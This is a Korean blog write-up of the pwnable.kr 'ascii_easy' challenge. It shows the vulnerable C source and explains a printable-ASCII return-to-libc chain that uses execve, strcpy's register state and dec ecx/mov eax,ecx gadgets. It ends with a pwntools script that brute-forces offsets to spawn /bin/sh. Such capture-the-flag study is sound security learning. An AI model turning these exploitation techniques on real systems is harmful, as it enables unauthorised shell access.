-
[ Rookiss ] Ascii_easySystem/Pwnable.kr 2019. 4. 5. 18:45
'Printable-ascii-only' Exploit payload
출력가능한 ASCII문자범위(0x21~0x7F)내에서 Payload를 작성해야 한다.
[ Ascii_easy@pwnable.kr ]
ascii_easy : 문제 바이너리
ascii_easy.c : 바이너리 소스파일
libc-2.15.so : 바이너리에 로드되는 라이브러리
intended_solution.txt : 문제를 풀면 확인할 수 있는 출제자가 의도한 풀이방법
[ Ascii_easy.c ]
#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); }
문제에서 바이너리의 소스코드를 제공해준다.
[#define BASE 0x5555E000]로 Base주소를 정의하고, libc-2.15.so를 mmap으로 Base주소에 맵핑하는걸 볼 수 있다.
맵핑된 주소에는 rwx(7)권한이 적용되어 있기 때문에, 해당 라이브러리로 RTL(Return-to-Libc) Payload를 짜면 될 것같다.
[ How to Exploit? ]
우선 Payload를 Printable한 Ascii범위로 구성해야 한다.
따라서, 함수나 가젯의 주소를 Ascii범위안에 들어가는 것들로 잘 맞춰서 Payload를 짜줘야 한다.
(이게 제일 빡세다..)
Library파일이라서 가젯은 엄청 많은데, 거기서 사용할 수 있는건 몇 안되기 때문에 가젯찾는게 정말 힘들었다.
[ System Addr ]
우선 System( )의 주소에 [0xCE], [0xD0]이 Ascii범위를 벗어나기 떄문에 사용이 불가능했다.
또한, [call system( )] 해주는 Instruction도 없기 때문에 System('/bin/sh")로 Exploit하는건 불가능하다.
[ execve Addr ]
그 다음 생각해볼 수 있는 함수는 execve( )를 이용하는 방법이다.
하지만, execve( ) 주소에도 [0xE0]이 포함되어 있기 때문에 바로 사용하는건 불가능하다.
execve( )는 가장 Low한 단계의 함수이기 때문에, execve( )를 호출하는 함수들이 많을 것이다.
[ Call execve ]
빨간박스 중 Ascii범위내에 들어오는 주소는 총 4개가 있다.
나는 4개 중 [0xB876A]를 사용했다.
[ 0xB876A ]
이 주소를 사용한 이유는 다른 주소들 보다 첫번째 인자를 채워주기 수월했기 때문이다.
[ Call execve ]하기 전에 eax의 값을 [ESP]에 할당해주는 코드가 있기 때문에,
우리가 따로 ESP를 Push하고 Inc로 첫번째 인자까지 카운팅해주고 이런 복잡한 작업을 하지 않아도 된다.
[ Payload Scenario ]
execve의 인자셋팅은 [&"/bin/sh\x00",NULL,NULL]로 채워주면 된다.
NULL값이 저장되어 있는 주소는 libc-2.15.so에 많기 때문에 크게 신경쓰지 않아도 된다.
문제는 EAX에 "/bin/sh\x00"의 주소값을 넘겨주는 것인데, 이건 stycpy( )의 반환값을 이용하면 된다.
[ Strcpy( ) 반환값 ]
strcpy( )가 실행되고 난 후의 Register상황을 보자
ECX에는 Source_PTR의 주소. 즉, 우리가 입력한 argv[1]의 시작주소가 저장된다.
EDX에는 Destination_PTR의 주소. 즉, Input이 저장된 시작주소가 저장된다.
이 점을 이용해서 우리는 [mov EAX, ECX] 나 [mov EAX, EDX] 가젯을 이용해서
EAX에 "/bin/sh"\x00"의 주소값을 저장해주면 된다.
나는 [mov EAX, ECX]를 이용해서 Payload를 구성했다.
[ Payload ]
from pwn import * dec_ecx = p32(0x556e5840) mov_eax_ecx = p32(0x556a6253) execve = p32(0x55616767) NULL_PTR = p32(0x556f315c) count = 4 for i in range(0x00,0xff,1): print count+i payload = "A"*32+dec_ecx * (count+i) + mov_eax_ecx + execve + NULL_PTR*(2+i) + "/bin/sh\x00" print payload p = process(["fake",payload],executable="./ascii_easy") p.interactive()
Payload를 짜면서 좀 헤맸는데, ECX로 반환되는 포인터가 Local이랑 Server에서 다르고,
GDB로 확인했을 때랑 또 달라서 어쩔 수 없이 BruteForce를 사용했다.
그리고 Local에서는 [inc ecx]로 포인터를 앞으로 당겨줘야 했는데,
Server에서는 [dec ecx]로 포인터를 뒤로 밀어줘야 했다...
[ Payload 설명 ]
- [ dec ecx ]가젯을 1개씩 늘려주면서 마지막에 입력한 "/bin/sh\x00"의 주소를 가리킬 때 까지 반복문을 돌려준다.
- 두번째와 세번째 인자에 들어가는 NULL_PTR도 GDB랑 다르게 들어가길래 이 또한 2개씩 늘려주는 식으로 했다.
[ Exploit ]
서버에서는 [dec ecx]를 총 7번 해줘야 ECX가 "/bin/sh\x00"을 가리키게 되면서 쉘이 실행된다.
'System > Pwnable.kr' 카테고리의 다른 글
[ Rookiss ] Alloca (1) 2019.03.24 [ Toddler's Bottle ] asm (4) 2019.03.09 [ Rookiss ] otp (1) 2019.03.06 [ Rookiss ] Simple Login (2) 2019.01.17 [ Rookiss ] loveletter (0) 2018.08.26 댓글